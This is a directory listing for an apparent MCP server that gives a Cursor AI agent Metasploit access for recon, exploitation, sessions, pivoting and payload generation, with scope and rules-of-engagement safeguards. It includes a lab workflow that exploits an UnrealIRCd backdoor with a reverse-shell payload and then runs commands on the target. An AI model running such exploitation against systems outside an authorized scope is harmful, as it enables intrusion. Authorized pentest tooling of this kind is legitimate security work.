Skip to main content
Glama
deenesjakoruzh
Suzu-Testing

msf-harness

by Suzu-Testing
OverviewSchemaRelated ServersScoreDiscussions
Python
Local

Metasploit Cursor Harness

CI Python 3.10+ License: MIT Coverage

Cursor AIエージェントとMetasploit FrameworkをMCP（Model Context Protocol）経由で橋渡しする、エージェント型ペネトレーションテストハーネスです。偵察、エクスプロイト、セッション管理、ポストエクスプロイト、ピボット、ペイロード生成、データベース操作にわたる54の専用ツールを通じて、構造化されスコープが強制されたMetasploit RPCへのアクセスを提供します。

明示的な交戦規則（ROE）、サーバー側ポリシー強制、監査ログ、PTES準拠のフェーズ/ゲート手法を備えた、認可されたラボおよびプロフェッショナルなペンテストワークフロー向けに構築されています。

このハーネスの利点

機能

このハーネス

Official msfmcpd

GH05TCREW/MetasploitMCP

ツール数

54

~23

~15

サーバー側ROE（CIDR、モジュール、セッション）

Yes

No

No

Cursorフック（スコープゲート、リスクスコアリング、エビデンス）

18 scripts

No

No

PTESワークフローのフェーズ/ゲート

7 phases, 57 skills

No

No

コンソールファーストのエクスプロイト実行

Yes

No

Yes

asyncio.to_thread (非ブロッキング)

Yes

Yes

No

ドメイン認可

Yes (fail-closed)

No

No

自動LHOST検出

Yes (cross-platform)

No

No

エクスプロイト前チェックゲート

Enforced

No

No

監査ログ＋ワールド状態

Yes

No

No

自己完結型ペンテストスキル

57 skills across 5 tiers

No

No

Related MCP server: MSFConsole MCP Server

機能

  • 54のMCPツール：偵察、エクスプロイト、セッション、Meterpreter操作、ピボット、ペイロード、ハンドラー、ワークスペース、コンソール、データベース書き込み、ラボヘルパーをカバー

  • コンソールファーストのエクスプロイト：同期出力キャプチャ、セッション検出、失敗解析を備える

  • サーバー側ROE強制：CIDRスコープ、ドメイン認可、CIDR幅上限、セッション制限、DoSブロック、エクスプロイト前チェックゲート

  • 18のCursorフックスクリプト：スコープ検証、リスクスコアリング（0〜100）、重複検出、エビデンスログ、ワールド状態追跡、資格情報の編集

  • 57の自己完結型エージェントスキル：PTESワークフロー、ドメイン別プレイブック（Web、AD、クラウド、コンテナ、モバイル、バイナリ、回避、サービスレベル、脆弱性クラス）

  • 5つの専門サブエージェント：オーケストレーター、偵察、エクスプロイト、ポストエクスプロイト、レビューアー

プラットフォームサポート

プラットフォーム

ステータス

備考

Windows + WSL2 + Kali

プライマリ

フックパイプライン全体、ラボDockerサポート

Native Linux / Kali

サポート対象

フックにはpwshが必要。ネイティブmsfrpcd

macOS + remote MSF

実験的

MCPサーバーは動作。フックにはpwshが必要。MSF_HOSTをリモートRPCに指定

前提条件

  • Python 3.10以上

  • Metasploit Framework（WSL/KaliまたはネイティブLinux）

  • MCPサポート付きCursor IDE

  • フックパイプライン用のPowerShell Core（pwsh）

  • scope/scope-master.txtで定義された認可済みターゲット

クイックスタート

1. クローンとインストール

git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"

2. 資格情報の設定

cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)

3. Metasploit RPCの起動

Windows（WSL）:

.\scripts\start-msfrpcd.ps1

Linux / Kali（ネイティブ）:

./scripts/start-msfrpcd.sh

4. CursorでMCPを有効化

cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project path

Cursorの設定 > MCPでmsf-harnessをオンにします。

5. セットアップの確認

python scripts/doctor.py       # Check all prerequisites
python scripts/validate-mcp.py  # Test RPC connectivity

その後、Cursorチャットでmsf_statusを実行してMCP接続を確認します。

6. ラボターゲット（オプション）

組み込みのMetasploitable2 Dockerラボについては、docs/LAB.mdを参照してください。

HackTheBox、TryHackMe、OSCP、または独自のターゲットについては、docs/BYO-TARGETS.mdを参照してください。

詳細なセットアップ手順については、docs/SETUP.mdを参照してください。

または、ワンコマンドのブートストラップを実行します:

.\scripts\bootstrap.ps1

最初のエクスプロイト

セットアップが完了し、Cursorチャットでmsf_statusが動作したら、Dockerラボに対してこのエンドツーエンドのデモを試してください。

1. ラボターゲットを起動します:

.\scripts\start-lab-targets.ps1

2. Cursorチャットで、エージェントにラボのエクスプロイトを依頼します:

10.255.255.254のポート9667でラボターゲットをスキャンし、エンゲージメントlab-defaultを使用してUnrealIRCdバックドアをエクスプロイトします。

エージェントは次のことを行います:

  1. msf_module_checkを実行して、ターゲットが脆弱であることを確認します（ROEで必須）

  2. msf_get_lab_networkを呼び出してLHOSTを自動検出します

  3. exploit/unix/irc/unreal_ircd_3281_backdoorを使用してmsf_run_exploitを実行します

  4. msf_list_active_sessionsを呼び出してシェルを確認します

  5. msf_send_session_commandを使用してターゲット上でコマンドを実行します

または、個々のMCPツール呼び出しでステップバイステップで実行します:

msf_status                              # Verify RPC connection
msf_get_lab_network                     # Get LHOST and port map
msf_module_check(...)                   # Probe for vulnerability
msf_run_exploit(...)                    # Pop a shell
msf_send_session_command(command="id")  # Run commands on target

完全なポートマップとエクスプロイト固有の注意事項については、docs/LAB.mdを参照してください。

アーキテクチャ

Cursor Agent
  |-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
  |-- Skills (.cursor/skills/: 57 pentest playbooks)
  |-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
  |-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
  |
  v
msf-harness MCP Server (Python, FastMCP, stdio transport)
  |-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
  |-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
  |-- Policy/ROE (server-side CIDR, domain, module, session validation)
  |-- Console engine (synchronous module execution with output capture)
  |
  v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
  |
  v
msfdb (PostgreSQL)

MCPツール（全54）

読み取り専用（engagement_id不要）

ツール

目的

msf_status

RPC接続、バージョン、セッション数を確認

msf_search_modules

キーワード、CVE、または名前でモジュールを検索

msf_module_info

モジュールのオプション、ターゲット、リファレンス、ランク

msf_module_options

モジュールの設定可能なオプションを取得

msf_running_stats

現在実行中のモジュールの統計を取得

msf_list_modules

タイプ別にモジュールを一覧表示（オプションのフィルター付き）

msf_host_info

msfdbから発見されたホストを照会

msf_service_info

発見されたサービス（ポート、プロトコル）を照会

msf_vulnerability_info

脆弱性レコードを照会

msf_note_info

注釈/メモを照会

msf_credential_info

収集された資格情報を照会

msf_loot_info

収集された戦利品/ファイルを照会

msf_list_active_sessions

現在のセッションをタイプとターゲット付きで一覧表示

msf_session_info

単一セッションの詳細情報を取得

msf_list_listeners

アクティブなハンドラー/バックグラウンドジョブを一覧表示

msf_job_info

特定のジョブの詳細を取得

msf_list_payloads

名前/プラットフォーム/アーキテクチャで利用可能なペイロードを検索

msf_compatible_payloads

指定されたモジュールと互換性のあるペイロードを一覧表示

msf_list_workspaces

データベースワークスペースを一覧表示

msf_db_status

データベース接続とドライバー情報を確認

msf_console_list

アクティブなRPCコンソールインスタンスを一覧表示

msf_get_lab_network

ラボターゲット設定を取得（Dockerポート、LHOST）

msf_route_list

セッションピボット用のアクティブなルートを一覧表示

アクション（engagement_id必須）

ツール

目的

msf_module_check

安全な脆弱性プローブ（非エクスプロイト）

msf_module_results

UUIDによる非同期モジュールジョブの結果を照会

msf_run_exploit

エクスプロイトモジュールを実行（コンソールまたはRPCジョブモード、タイムアウト設定可能）

msf_run_auxiliary_module

補助モジュールを実行（スキャナー、ファザー、オプションのコンソールモード）

msf_run_post_module

セッション上でポストエクスプロイトモジュールを実行（オプションのコンソールモード）

msf_send_session_command

アクティブなシェル/Meterpreterでコマンドを実行

msf_terminate_session

セッションを終了

msf_wait_for_session

エクスプロイト/ハンドラー後に新しいセッションをポーリング

msf_session_upgrade

シェルをMeterpreterにアップグレード

msf_session_sysinfo

MeterpreterセッションからOS/アーキテクチャ/ホスト名を取得

msf_session_getuid

Meterpreterセッションから現在のユーザーIDを取得

msf_session_ps

Meterpreterセッション内の実行中プロセスを一覧表示

msf_session_download

ターゲットからevidence/にファイルをダウンロード

msf_session_upload

evidence/からターゲットにファイルをアップロード（サンドボックス化）

msf_session_run_script

セッション内でMeterpreterスクリプトを実行

msf_start_listener

multi/handlerリスナーを起動

msf_stop_job

バックグラウンドジョブを停止

msf_cleanup_jobs

ポートを解放するためにすべてのバックグラウンドジョブを停止

msf_generate_payload

ペイロードファイルを生成（evidence/に保存）

msf_create_workspace

データベースワークスペースを作成

msf_set_workspace

アクティブなワークスペースを切り替え

msf_delete_workspace

データベースワークスペースを削除

msf_db_import

スキャンデータをインポート（nmap XML、Nessusなど）

msf_db_nmap

nmapを実行し、結果を自動インポート

msf_console_execute

RPC経由で任意のmsfconsoleコマンドを実行

msf_route_add

ピボット用にセッション経由のルートを追加

msf_route_delete

ルートを削除

msf_autoroute

post/multi/manage/autorouteを使用してルートを自動追加

msf_report_host

ホストを手動でデータベースに報告

msf_credential_add

発見された資格情報をデータベースに保存

msf_db_add_note

データベースにメモ/注釈を追加

ワークフロー例

# 1. Verify connection
msf_status()

# 2. Scan target ports
msf_run_auxiliary_module(
  engagement_id="lab-default",
  module_name="auxiliary/scanner/portscan/tcp",
  options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)

# 3. Check what's open
msf_service_info(host="10.255.255.254")

# 4. Check before exploit (required by ROE)
msf_module_check(
  engagement_id="lab-default",
  module_type="exploit",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)

# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
  engagement_id="lab-default",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
  payload="generic/shell_reverse_tcp",
  payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
  run_check_first=True
)

セーフティモデル

  1. サーバーサイドROE (msf_harness/mcp/policy/roe.py): エンゲージメントCIDRに対するターゲットの検証、禁止モジュールのブロック、セッション上限の強制、CIDRスキャン幅の上限、エクスプロイト前チェックの要求、ドメインの検証（フェイルクローズ）を行います。

  2. Cursorフック (.cursor/hooks/): すべてのシェルコマンドとMCP呼び出しに対するスコープゲート、リスクスコアリング（0〜100、CRITICALエスカレーションあり）、重複検出、logs/command-ledger.jsonlへの監査ログ、エビデンスの自動保存、資格情報の編集

  3. コンソールコマンド解析: msf_console_executeは生コマンドからRHOSTS、モジュールパス、db_nmapターゲットを抽出して検証します。

  4. ファイルパス制限: msf_db_importとmsf_generate_payloadはevidence/およびengagements/ディレクトリに制限されます。

  5. DoSモジュール (auxiliary/dos/*) は無条件にブロックされます。

  6. 入力サニタイズ: nmap引数は許可リストに登録され、オプションキーは検証され、コンソール値はクォートエスケープされます。

許可を得たシステムでのみ使用してください。

トラブルシューティング

症状

修正

msf_statusが「Cannot connect to msfrpcd」と表示される

.\scripts\start-msfrpcd.ps1を実行し、wsl -e bash -lc "ss -tlnp | grep 55553"でmsfrpcdがリッスンしていることを確認します

MCPサーバーがCursorに表示されない

.cursor/mcp.jsonのcwdとPYTHONPATHに絶対パスを使用していることを確認し、Cursorを再起動します

"MSF_PASSWORDが設定されていません"

.envに設定します（必要に応じて.env.exampleからコピー）

"Target not in scope"またはROE拒否

ターゲットのIP/CIDRをscope/scope-master.txtとengagements/<id>/roe.yamlのauthorized_cidrsの両方に追加します

モジュールチェックが「not supported」で失敗する

一部のモジュールにはcheckメソッドがありません。これは正常です。注意して続行してください。

エクスプロイト後にセッションがない

LHOSTが正しいことを確認し（msf_get_lab_network）、ファイアウォールを確認し、別のペイロードを試してください

Cursor出力のフックエラー

pwsh（PowerShell 7+）がインストールされていることを確認します：winget install Microsoft.PowerShell

Pythonインポートエラー

プロジェクトルートからpip install -e ".[mcp]"を実行します

完全な前提条件のヘルスチェックにはpython scripts/doctor.pyを実行してください。

開発

pip install -e ".[mcp,dev]"
python -m pytest tests/ -v                                    # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1     # 120 hook tests
python scripts/validate-mcp.py                                # RPC connectivity

開発セットアップとPRガイドラインについてはCONTRIBUTING.mdを参照してください。

ディレクトリ構造

パス

目的

msf_harness/mcp/

Python MCPサーバーパッケージ

msf_harness/mcp/tools/

MCPツール実装（12モジュール、54ツール）

msf_harness/mcp/rpc/

自動再接続付きMetasploit RPCクライアント

msf_harness/mcp/policy/

ROE強制（CIDR、ドメイン、モジュール、セッション、エクスプロイトゲート）

scope/

許可されたターゲットCIDRとドメイン

engagements/

エンゲージメントごとのROE設定とワークフロー状態

evidence/msf/

キャプチャされたエビデンス（gitignore対象）

logs/

フック監査ログとコマンド台帳（gitignore対象）

.cursor/hooks/

PowerShell Coreセーフティゲート（18スクリプト）

.cursor/skills/

エージェントワークフロープレイブック（57スキル）

.cursor/agents/

カスタムサブエージェント定義（5エージェント）

.cursor/rules/

常時有効なエージェントガイダンス（3ルール+AGENTS.md）

scripts/

ユーティリティスクリプト（RPC起動、エンゲージメント作成、ヘルスチェック、MCP検証）

tests/

Pytestおよびフックテストスイート

docs/

セットアップガイド、ラボガイド、BYOターゲットガイド

ライセンス

MIT

謝辞

This server cannot be installed

A
license - permissive license
Not graded
quality - not tested
C
maintenance

How are these scores calculated?

Maintenance

–Maintainers
–Response time
–Release cycle
–Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • MSFConsole MCP Server

    LYFTIUM-INC
    A
    license
    Not graded
    quality
    D
    maintenance
    Enables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.
    8
    MIT

  • MSFConsole MCP Server

    PreistlyPython
    -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2

View all related MCP servers

Related MCP Connectors

  • mcp-server

    MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • ToolAPI

    Free public MCP for AI agents — 193 tools, 44 workflows. No API key.

  • MCP Fortress

    Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'

If you have feedback or need assistance with the MCP directory API, please join our Discord server